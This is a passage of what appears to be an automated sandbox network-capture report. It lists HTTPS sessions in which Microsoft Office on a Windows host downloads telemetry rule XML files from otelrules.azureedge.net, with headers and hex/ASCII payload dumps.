2024-11-29 18:50:10 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:09 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:10 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 572f8884-901e-002a-163e-407a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185009Z-174f7845968pf68xhC1EWRr4h800000010gg00000000f6hw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:10 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:10 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:10 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: abcfbd22-201e-005d-403e-40afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185010Z-174f78459684bddphC1EWRbht40000000zz000000000khbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:10 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:11 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185011Z-174f7845968swgbqhC1EWRmnb400000010fg000000009sy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:11 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 62ff000c-201e-006e-5b3f-41bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185011Z-174f78459685m244hC1EWRgp2c000000101000000000ph46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:11 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:12 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: fdce85b2-201e-000c-74ef-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185012Z-174f7845968j6t2phC1EWRcfe800000010bg00000000phr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:12 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:12 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:12 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:12 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 82133bf1-201e-005d-5567-40afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185012Z-174f7845968pf68xhC1EWRr4h800000010kg000000009pt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:12 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:12 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:13 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 069fcaeb-401e-0016-5ff7-4153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185012Z-174f7845968j6t2phC1EWRcfe800000010g00000000088f2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:13 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 75b435a0-401e-0048-0433-400409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185013Z-174f784596886s2bhC1EWR743w000000109g00000000gckw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:13 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 8a8d0990-701e-0021-2191-3f3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185013Z-174f7845968xr5c2hC1EWRd0hn0000000h5000000000bwwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:14 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 581105fc-301e-0000-6a91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185014Z-174f7845968px8v7hC1EWR08ng00000010n0000000006dhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:14 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 17f40f6b-801e-00a3-7e91-3f7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185014Z-174f7845968xlwnmhC1EWR0sv8000000101g00000000my97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:14 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
